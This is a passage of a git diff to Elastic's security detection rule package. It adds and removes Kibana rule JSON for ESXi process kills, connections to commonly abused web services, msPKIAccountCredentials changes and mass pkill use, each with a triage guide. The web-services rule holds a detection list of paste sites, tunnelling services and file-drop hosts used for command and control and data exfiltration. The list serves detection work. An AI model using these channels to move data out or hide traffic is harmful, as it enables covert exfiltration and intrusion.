"Wordlist Scanning", + "reference": "https://attack.mitre.org/techniques/T1595/003/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 1 + }, + "id": "6631a759-4559-4c33-a392-13f146c8bcc4_1", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/6641a5af-fb7e-487a-adc4-9e6503365318_8.json b/packages/security_detection_engine/kibana/security_rule/6641a5af-fb7e-487a-adc4-9e6503365318_8.json deleted file mode 100644 index fbf196c8790..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/6641a5af-fb7e-487a-adc4-9e6503365318_8.json +++ /dev/null @@ -1,84 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies instances where VMware processes, such as \"vmware-vmx\" or \"vmx,\" are terminated on a Linux system by a \"kill\" command. The rule monitors for the \"end\" event type, which signifies the termination of a process. The presence of a \"kill\" command as the parent process for terminating VMware processes may indicate that a threat actor is attempting to interfere with the virtualized environment on the targeted system.", - "from": "now-9m", - "index": [ - "endgame-*", - "logs-endpoint.events.process*" - ], - "language": "eql", - "license": "Elastic License v2", - "name": "Suspicious Termination of ESXI Process", - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Suspicious Termination of ESXI Process\n\nVMware ESXi is a hypervisor used to create and manage virtual machines on a host system. Adversaries may target ESXi processes like \"vmware-vmx\" to disrupt virtual environments, often using the \"kill\" command to terminate these processes. The detection rule identifies such terminations by monitoring for specific process events, helping to uncover potential threats to virtualized infrastructures.\n\n### Possible investigation steps\n\n- Review the alert details to confirm the process name is either \"vmware-vmx\" or \"vmx\" and that the parent process is \"kill\" on a Linux host.\n- Check the timeline of events leading up to the termination to identify any preceding suspicious activities or commands executed by the same user or process.\n- Investigate the user account associated with the \"kill\" command to determine if it is authorized to manage VMware processes and if there are any signs of compromise.\n- Examine system logs and audit trails for any unauthorized access attempts or anomalies around the time of the process termination.\n- Assess the impact on the virtual environment by verifying the status of affected virtual machines and any potential service disruptions.\n- Correlate this event with other security alerts or incidents to identify if it is part of a larger attack pattern targeting the virtual infrastructure.\n\n### False positive analysis\n\n- Routine maintenance or administrative tasks may involve terminating VMware processes using the kill command. To manage this, create exceptions for known maintenance scripts or administrative user accounts that regularly perform these actions.\n- Automated scripts or monitoring tools might inadvertently terminate VMware processes as part of their operations. Identify and exclude these tools from the detection rule by specifying their process names or user accounts.\n- System updates or patches could lead to the termination of VMware processes as part of the update procedure. Exclude these events by correlating them with known update schedules or specific update-related process names.\n- Testing environments where VMware processes are frequently started and stopped for development purposes can trigger false positives. Implement exclusions for these environments by using hostnames or IP addresses associated with test systems.\n\n### Response and remediation\n\n- Immediately isolate the affected host system from the network to prevent further malicious activity and potential spread to other systems.\n- Terminate any unauthorized or suspicious processes that are still running on the affected host, especially those related to VMware ESXi, to halt any ongoing disruption.\n- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise or persistence mechanisms that may have been deployed by the threat actor.\n- Restore any terminated VMware processes from a known good backup to ensure the virtual environment is returned to its operational state.\n- Review and update access controls and permissions on the affected host to ensure that only authorized personnel can execute critical commands like \"kill\" on VMware processes.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat is part of a larger attack campaign.\n- Implement enhanced monitoring and alerting for similar suspicious activities across the virtualized infrastructure to detect and respond to future threats more effectively.", - "query": "process where host.os.type == \"linux\" and event.type == \"end\" and process.name in (\"vmware-vmx\", \"vmx\")\nand process.parent.name == \"kill\"\n", - "references": [ - "https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/" - ], - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.os.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.name", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.parent.name", - "type": "keyword" - } - ], - "risk_score": 47, - "rule_id": "6641a5af-fb7e-487a-adc4-9e6503365318", - "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", - "severity": "medium", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Impact", - "Data Source: Elastic Defend", - "Data Source: Elastic Endgame", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0040", - "name": "Impact", - "reference": "https://attack.mitre.org/tactics/TA0040/" - }, - "technique": [ - { - "id": "T1489", - "name": "Service Stop", - "reference": "https://attack.mitre.org/techniques/T1489/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "eql", - "version": 8 - }, - "id": "6641a5af-fb7e-487a-adc4-9e6503365318_8", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/66883649-f908-4a5b-a1e0-54090a1d3a32_123.json b/packages/security_detection_engine/kibana/security_rule/66883649-f908-4a5b-a1e0-54090a1d3a32_123.json new file mode 100644 index 00000000000..d82d2005165 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/66883649-f908-4a5b-a1e0-54090a1d3a32_123.json @@ -0,0 +1,159 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Adversaries may implement command and control (C2) communications that use common web services to hide their activity. This attack technique is typically targeted at an organization and uses web services common to the victim network, which allows the adversary to blend into legitimate traffic activity. These popular services are typically targeted since they have most likely been used before compromise, which helps malicious traffic blend in.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.network-*", + "logs-sentinel_one_cloud_funnel.*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Connection to Commonly Abused Web Services", + "note": "## Triage and analysis\n\n### Investigating Connection to Commonly Abused Web Services\n\nAdversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise.\n\nThis rule looks for processes outside known legitimate program locations communicating with a list of services that can be abused for exfiltration or command and control.\n\n> **Note**:\n> This investigation guide uses the [Osquery Markdown Plugin](https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html) introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide.\n> This investigation guide uses the [Investigate Markdown Plugin](https://www.elastic.co/guide/en/security/current/interactive-investigation-guides.html) introduced in Elastic Stack version 8.8.0. Older Elastic Stack versions will display unrendered Markdown in this guide.\n\n#### Possible investigation steps\n\n- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures.\n- Investigate other alerts associated with the user/host during the past 48 hours.\n - !{investigate{\"label\":\"Alerts associated with the user in the last 48h\",\"providers\":[[{\"excluded\":false,\"field\":\"event.kind\",\"queryType\":\"phrase\",\"value\":\"signal\",\"valueType\":\"string\"},{\"excluded\":false,\"field\":\"user.id\",\"queryType\":\"phrase\",\"value\":\"{{user.id}}\",\"valueType\":\"string\"}]],\"relativeFrom\":\"now-48h/h\",\"relativeTo\":\"now\"}}\n - !{investigate{\"label\":\"Alerts associated with the host in the last 48h\",\"providers\":[[{\"excluded\":false,\"field\":\"event.kind\",\"queryType\":\"phrase\",\"value\":\"signal\",\"valueType\":\"string\"},{\"excluded\":false,\"field\":\"host.name\",\"queryType\":\"phrase\",\"value\":\"{{host.name}}\",\"valueType\":\"string\"}]],\"relativeFrom\":\"now-48h/h\",\"relativeTo\":\"now\"}}\n- Verify whether the digital signature exists in the executable.\n- Identify the operation type (upload, download, tunneling, etc.).\n- Examine the host for derived artifacts that indicate suspicious activities:\n - Analyze the process executable using a private sandboxed analysis system.\n - Observe and collect information about the following activities in both the sandbox and the alert subject host:\n - Attempts to contact external domains and addresses.\n - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`.\n - !{investigate{\"label\":\"Investigate the Subject Process Network Events\",\"providers\":[[{\"excluded\":false,\"field\":\"event.category\",\"queryType\":\"phrase\",\"value\":\"network\",\"valueType\":\"string\"},{\"excluded\":false,\"field\":\"process.entity_id\",\"queryType\":\"phrase\",\"value\":\"{{process.entity_id}}\",\"valueType\":\"string\"}]]}}\n - Examine the DNS cache for suspicious or anomalous entries.\n - !{osquery{\"label\":\"Osquery - Retrieve DNS Cache\",\"query\":\"SELECT * FROM dns_cache\"}}\n - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree.\n - Examine the host services for suspicious or anomalous entries.\n - !{osquery{\"label\":\"Osquery - Retrieve All Services\",\"query\":\"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services\"}}\n - !{osquery{\"label\":\"Osquery - Retrieve Services Running on User Accounts\",\"query\":\"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\\nuser_account == null)\\n\"}}\n - !{osquery{\"label\":\"Osquery - Retrieve Service Unsigned Executables with Virustotal Link\",\"query\":\"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\\n\"}}\n - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc.\n\n### False positive analysis\n\n- This rule has a high chance to produce false positives because it detects communication with legitimate services. Noisy false positives can be added as exceptions.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Isolate the involved host to prevent further post-compromise behavior.\n- If the triage identified malware, search the environment for additional compromised hosts.\n - Implement temporary network rules, procedures, and segmentation to contain the malware.\n - Stop suspicious processes.\n - Immediately block the identified indicators of compromise (IoCs).\n - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system.\n- Remove and block malicious artifacts identified during triage.\n- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", + "query": "network where host.os.type == \"windows\" and\n dns.question.name != null and process.name != null and\n not (?user.id in (\"S-1-5-18\", \"S-1-5-19\", \"S-1-5-20\") or user.domain == \"NT AUTHORITY\") and\n /* Add new WebSvc domains here */\n dns.question.name :\n (\n \"raw.githubusercontent.*\",\n \"pastebin.*\",\n \"paste4btc.com\",\n \"paste.ee\",\n \"ghostbin.com\",\n \"drive.google.com\",\n \"?.docs.live.net\",\n \"api.dropboxapi.*\",\n \"content.dropboxapi.*\",\n \"dl.dropboxusercontent.*\",\n \"api.onedrive.com\",\n \"*.onedrive.org\",\n \"onedrive.live.com\",\n \"filebin.net\",\n \"*.ngrok.io\",\n \"ngrok.com\",\n \"*.portmap.*\",\n \"*serveo.net\",\n \"*localtunnel.me\",\n \"*pagekite.me\",\n \"*localxpose.io\",\n \"*notabug.org\",\n \"rawcdn.githack.*\",\n \"paste.nrecom.net\",\n \"zerobin.net\",\n \"controlc.com\",\n \"requestbin.net\",\n \"slack.com\",\n \"api.slack.com\",\n \"slack-redir.net\",\n \"slack-files.com\",\n \"cdn.discordapp.com\",\n \"discordapp.com\",\n \"discord.com\",\n \"apis.azureedge.net\",\n \"cdn.sql.gg\",\n \"?.top4top.io\",\n \"top4top.io\",\n \"www.uplooder.net\",\n \"*.cdnmegafiles.com\",\n \"transfer.sh\",\n \"gofile.io\",\n \"updates.peer2profit.com\",\n \"api.telegram.org\",\n \"t.me\",\n \"meacz.gq\",\n \"rwrd.org\",\n \"*.publicvm.com\",\n \"*.blogspot.com\",\n \"api.mylnikov.org\",\n \"file.io\",\n \"stackoverflow.com\",\n \"*files.1drv.com\",\n \"api.anonfile.com\",\n \"*hosting-profi.de\",\n \"ipbase.com\",\n \"ipfs.io\",\n \"*up.freeo*.space\",\n \"api.mylnikov.org\",\n \"script.google.com\",\n \"script.googleusercontent.com\",\n \"api.notion.com\",\n \"graph.microsoft.com\",\n \"*.sharepoint.com\",\n \"mbasic.facebook.com\",\n \"login.live.com\",\n \"api.gofile.io\",\n \"api.anonfiles.com\",\n \"api.notion.com\",\n \"api.trello.com\",\n \"gist.githubusercontent.com\",\n \"files.pythonhosted.org\",\n \"g.live.com\",\n \"*.zulipchat.com\",\n \"webhook.site\",\n \"run.mocky.io\",\n \"mockbin.org\", \n \"www.googleapis.com\", \n \"googleapis.com\",\n \"global.rel.tunnels.api.visualstudio.com\",\n \"*.devtunnels.ms\", \n \"api.github.com\") and\n \n /* Insert noisy false positives here */\n not (\n (\n process.executable : (\n \"?:\\\\Program Files\\\\*.exe\",\n \"?:\\\\Program Files (x86)\\\\*.exe\",\n \"?:\\\\ProgramData\\\\Microsoft\\\\Windows Defender\\\\Platform\\\\*\\\\MsMpEng.exe\",\n \"?:\\\\Users\\\\*\\\\AppData\\\\Local\\\\BraveSoftware\\\\*\\\\Application\\\\brave.exe\",\n \"?:\\\\Users\\\\*\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe\",\n \"?:\\\\Users\\\\*\\\\AppData\\\\Local\\\\Microsoft\\\\OneDrive\\\\OneDrive.exe\",\n \"?:\\\\Users\\\\*\\\\AppData\\\\Local\\\\Programs\\\\Opera*\\\\opera.exe\",\n \"?:\\\\Users\\\\*\\\\AppData\\\\Local\\\\Programs\\\\Fiddler\\\\Fiddler.exe\",\n \"?:\\\\Users\\\\*\\\\AppData\\\\Local\\\\PowerToys\\\\PowerToys.exe\",\n \"?:\\\\Users\\\\*\\\\AppData\\\\Local\\\\Vivaldi\\\\Application\\\\vivaldi.exe\",\n \"?:\\\\Users\\\\*\\\\AppData\\\\Local\\\\Zen Browser\\\\zen.exe\",\n \"?:\\\\Users\\\\*\\\\Wavesor Software\\\\WaveBrowser\\\\wavebrowser.exe\",\n \"?:\\\\Windows\\\\System32\\\\MicrosoftEdgeCP.exe\",\n \"?:\\\\Windows\\\\system32\\\\mobsync.exe\",\n \"?:\\\\Windows\\\\SysWOW64\\\\mobsync.exe\", \n \"?:\\\\Windows\\\\system32\\\\svchost.exe\",\n \"?:\\\\Windows\\\\System32\\\\smartscreen.exe\",\n \"?:\\\\Windows\\\\System32\\\\wsl.exe\", \n \"?:\\\\Windows\\\\System32\\\\WWAHost.exe\"\n )\n ) or\n \n /* Discord App */\n (process.name : \"Discord.exe\" and (process.code_signature.subject_name : \"Discord Inc.\" and\n process.code_signature.trusted == true) and dns.question.name : (\"discord.com\", \"cdn.discordapp.com\", \"discordapp.com\")\n ) or \n\n /* MS Sharepoint / OneDrive */\n (process.name : (\"Microsoft.SharePoint.exe\", \"OneDrive.Sync.Service.exe\") and dns.question.name : \"onedrive.live.com\" and\n (process.code_signature.subject_name : \"Microsoft Corporation\" and process.code_signature.trusted == true)\n ) or \n\n /* Obsidian - Plugins are stored on raw.githubusercontent.com */\n (process.name : \"Obsidian.exe\" and (process.code_signature.subject_name : \"Dynalist Inc\" and\n process.code_signature.trusted == true) and dns.question.name : \"raw.githubusercontent.com\"\n ) or \n\n /* WebExperienceHostApp */\n (process.name : \"WebExperienceHostApp.exe\" and (process.code_signature.subject_name : \"Microsoft Windows\" and\n process.code_signature.trusted == true) and dns.question.name : (\"onedrive.live.com\", \"skyapi.onedrive.live.com\")\n ) or\n\n /* IntelliJ IDEA connecting to raw.githubusercontent.com */\n (process.code_signature.subject_name : \"JetBrains s.r.o.\" and\n process.code_signature.trusted == true and dns.question.name : (\"api.github.com\", \"raw.githubusercontent.com\")\n ) or \n\n (process.code_signature.subject_name : \"Microsoft *\" and process.code_signature.trusted == true and\n dns.question.name : (\"*.sharepoint.com\", \"graph.microsoft.com\", \"g.live.com\", \"login.live.com\")\n ) or\n\n (process.code_signature.subject_name : \"Python Software Foundation\" and process.code_signature.trusted == true and\n dns.question.name : \"files.pythonhosted.org\") or \n\n /* Zoom */\n (process.name : \"Zoom.exe\" and (process.code_signature.subject_name : \"Zoom Video Communications, Inc.\" and\n process.code_signature.trusted == true) and dns.question.name : (\"www.googleapis.com\", \"graph.microsoft.com\")\n ) or\n\n /* VSCode */\n (process.name : \"Code.exe\" and (process.code_signature.subject_name : \"Microsoft Corporation\" and\n process.code_signature.trusted == true) and dns.question.name : (\"api.github.com\", \"raw.githubusercontent.com\")\n ) or\n\n /* Terraform */\n (process.name : \"terraform-provider*.exe\" and (process.code_signature.subject_name : \"HashiCorp, Inc.\" and\n process.code_signature.trusted == true) and dns.question.name : \"graph.microsoft.com\"\n ) or\n\n (\n process.code_signature.trusted == true and\n process.code_signature.subject_name : (\n \"Johannes Schindelin\",\n \"Redis Inc.\",\n \"Slack Technologies, LLC\",\n \"Cisco Systems, Inc.\",\n \"Dropbox, Inc\",\n \"Amazon.com Services LLC\", \n \"Island Technology Inc.\", \n \"GitHub, Inc.\", \n \"Red Hat, Inc\",\n \"Mozilla Corporation\"\n )\n )\n )\n", + "references": [ + "https://www.elastic.co/security-labs/operation-bleeding-bear", + "https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "sentinel_one_cloud_funnel", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "dns.question.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.code_signature.subject_name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.code_signature.trusted", + "type": "boolean" + }, + { + "ecs": true, + "name": "process.executable", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "user.domain", + "type": "keyword" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "66883649-f908-4a5b-a1e0-54090a1d3a32", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Command and Control", + "Resources: Investigation Guide", + "Data Source: Elastic Defend", + "Data Source: SentinelOne" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0011", + "name": "Command and Control", + "reference": "https://attack.mitre.org/tactics/TA0011/" + }, + "technique": [ + { + "id": "T1102", + "name": "Web Service", + "reference": "https://attack.mitre.org/techniques/T1102/" + }, + { + "id": "T1568", + "name": "Dynamic Resolution", + "reference": "https://attack.mitre.org/techniques/T1568/", + "subtechnique": [ + { + "id": "T1568.002", + "name": "Domain Generation Algorithms", + "reference": "https://attack.mitre.org/techniques/T1568/002/" + } + ] + }, + { + "id": "T1090", + "name": "Proxy", + "reference": "https://attack.mitre.org/techniques/T1090/", + "subtechnique": [ + { + "id": "T1090.002", + "name": "External Proxy", + "reference": "https://attack.mitre.org/techniques/T1090/002/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0010", + "name": "Exfiltration", + "reference": "https://attack.mitre.org/tactics/TA0010/" + }, + "technique": [ + { + "id": "T1567", + "name": "Exfiltration Over Web Service", + "reference": "https://attack.mitre.org/techniques/T1567/", + "subtechnique": [ + { + "id": "T1567.001", + "name": "Exfiltration to Code Repository", + "reference": "https://attack.mitre.org/techniques/T1567/001/" + }, + { + "id": "T1567.002", + "name": "Exfiltration to Cloud Storage", + "reference": "https://attack.mitre.org/techniques/T1567/002/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 123 + }, + "id": "66883649-f908-4a5b-a1e0-54090a1d3a32_123", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/670b3b5a-35e5-42db-bd36-6c5b9b4b7313_118.json b/packages/security_detection_engine/kibana/security_rule/670b3b5a-35e5-42db-bd36-6c5b9b4b7313_118.json new file mode 100644 index 00000000000..d0101ac0825 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/670b3b5a-35e5-42db-bd36-6c5b9b4b7313_118.json @@ -0,0 +1,97 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identify the modification of the msPKIAccountCredentials attribute in an Active Directory User Object. Attackers can abuse the credentials roaming feature to overwrite an arbitrary file for privilege escalation. ms-PKI-AccountCredentials contains binary large objects (BLOBs) of encrypted credential objects from the credential manager store, private keys, certificates, and certificate requests.", + "from": "now-9m", + "index": [ + "winlogbeat-*", + "logs-system.security*", + "logs-windows.forwarded*" + ], + "language": "kuery", + "license": "Elastic License v2", + "name": "Modification of the msPKIAccountCredentials", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Modification of the msPKIAccountCredentials\n\nThe msPKIAccountCredentials attribute in Active Directory stores encrypted credential data, including private keys and certificates. Adversaries may exploit this by altering the attribute to escalate privileges, potentially overwriting files. The detection rule identifies such modifications by monitoring specific directory service events, focusing on changes to this attribute, excluding actions by the system account, thus highlighting unauthorized access attempts.\n\n### Possible investigation steps\n\n- Review the event logs for the specific event code 5136 to gather details about the modification event, including the timestamp and the user account involved.\n- Examine the winlog.event_data.SubjectUserSid field to identify the user who attempted the modification, ensuring it is not the system account (S-1-5-18).\n- Investigate the history and behavior of the identified user account to determine if there are any previous suspicious activities or anomalies.\n- Check for any recent changes or anomalies in the affected Active Directory User Object, focusing on the msPKIAccountCredentials attribute.\n- Assess the potential impact of the modification by identifying any files or systems that may have been affected by the altered credentials.\n- Correlate this event with other security alerts or logs to identify any patterns or coordinated activities that might indicate a broader attack.\n\n### False positive analysis\n\n- Routine administrative tasks by IT personnel may trigger the rule. To manage this, create exceptions for specific user accounts or groups known to perform these tasks regularly.\n- Scheduled maintenance scripts or automated processes that modify Active Directory attributes could be mistaken for unauthorized changes. Identify these processes and exclude their associated user accounts or service accounts from the rule.\n- Software updates or installations that require changes to user credentials might cause false positives. Document these events and adjust the rule to ignore modifications during known update windows.\n- Legitimate changes made by third-party applications integrated with Active Directory can be flagged. Review and whitelist these applications by excluding their associated user accounts or service accounts.\n- Temporary changes during incident response or security audits may appear suspicious. Coordinate with security teams to ensure these activities are recognized and excluded from triggering alerts.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration.\n- Revoke any potentially compromised certificates and private keys associated with the affected msPKIAccountCredentials attribute to prevent misuse.\n- Conduct a thorough review of recent changes in Active Directory, focusing on the msPKIAccountCredentials attribute, to identify any unauthorized modifications or access patterns.\n- Reset passwords and regenerate keys for any accounts or services that may have been affected to ensure that compromised credentials are no longer valid.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the full scope of the breach.\n- Implement additional monitoring on the affected systems and accounts to detect any further suspicious activity or attempts to exploit similar vulnerabilities.\n- Review and update access controls and permissions in Active Directory to ensure that only authorized personnel have the ability to modify sensitive attributes like msPKIAccountCredentials.", + "query": "event.code:\"5136\" and host.os.type:\"windows\" and winlog.event_data.AttributeLDAPDisplayName:\"msPKIAccountCredentials\" and\n winlog.event_data.OperationType:\"%%14674\" and\n not winlog.event_data.SubjectUserSid : \"S-1-5-18\"\n", + "references": [ + "https://www.mandiant.com/resources/blog/apt29-windows-credential-roaming", + "https://social.technet.microsoft.com/wiki/contents/articles/11483.windows-credential-roaming.aspx", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.code", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.AttributeLDAPDisplayName", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.event_data.OperationType", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.event_data.SubjectUserSid", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "670b3b5a-35e5-42db-bd36-6c5b9b4b7313", + "setup": "## Setup\n\nThe 'Audit Directory Service Changes' logging policy must be configured for (Success, Failure).\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nPolicies >\nWindows Settings >\nSecurity Settings >\nAdvanced Audit Policies Configuration >\nAudit Policies >\nDS Access >\nAudit Directory Service Changes (Success,Failure)\n```\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Data Source: Active Directory", + "Tactic: Privilege Escalation", + "Use Case: Active Directory Monitoring", + "Data Source: Windows Security Event Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0004", + "name": "Privilege Escalation", + "reference": "https://attack.mitre.org/tactics/TA0004/" + }, + "technique": [ + { + "id": "T1068", + "name": "Exploitation for Privilege Escalation", + "reference": "https://attack.mitre.org/techniques/T1068/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 118 + }, + "id": "670b3b5a-35e5-42db-bd36-6c5b9b4b7313_118", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/67f8443a-4ff3-4a70-916d-3cfa3ae9f02b_112.json b/packages/security_detection_engine/kibana/security_rule/67f8443a-4ff3-4a70-916d-3cfa3ae9f02b_112.json deleted file mode 100644 index eda17391128..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/67f8443a-4ff3-4a70-916d-3cfa3ae9f02b_112.json +++ /dev/null @@ -1,101 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "This rule identifies a high number (10) of process terminations via pkill from the same host within a short time period.", - "from": "now-9m", - "index": [ - "logs-endpoint.events.*", - "endgame-*", - "auditbeat-*", - "logs-auditd_manager.auditd-*" - ], - "language": "kuery", - "license": "Elastic License v2", - "name": "High Number of Process Terminations", - "note": "## Triage and analysis\n\n### Investigating High Number of Process Terminations\n\nAttackers can kill processes for a variety of purposes. For example, they can kill process associated with business applications and databases to release the lock on files used by these applications so they may be encrypted,or stop security and backup solutions, etc.\n\nThis rule identifies a high number (10) of process terminations via pkill from the same host within a short time period.\n\n#### Possible investigation steps\n\n- Examine the entry point to the host and user in action via the Analyse View.\n - Identify the session entry leader and session user.\n- Examine the contents of session leading to the process termination(s) via the Session View.\n - Examine the command execution pattern in the session, which may lead to suspricous activities.\n- Examine the process killed during the malicious execution\n - Identify imment threat to the system from the process killed.\n - Take necessary incident response actions to respawn necessary process.\n\n### False positive analysis\n\n- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Isolate the involved host to prevent further destructive behavior, which is commonly associated with this activity.\n- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services.\n- Reimage the host operating system or restore it to the operational state.\n- If any other destructive action was identified on the host, it is recommended to prioritize the investigation and look for ransomware preparation and execution activities.\n- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", - "query": "event.category:process and host.os.type:linux and event.type:start and process.name:\"pkill\" and process.args:\"-f\"\n", - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - }, - { - "package": "auditd_manager", - "version": "^1.0.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.category", - "type": "keyword" - }, - { - "ecs": true, - "name": 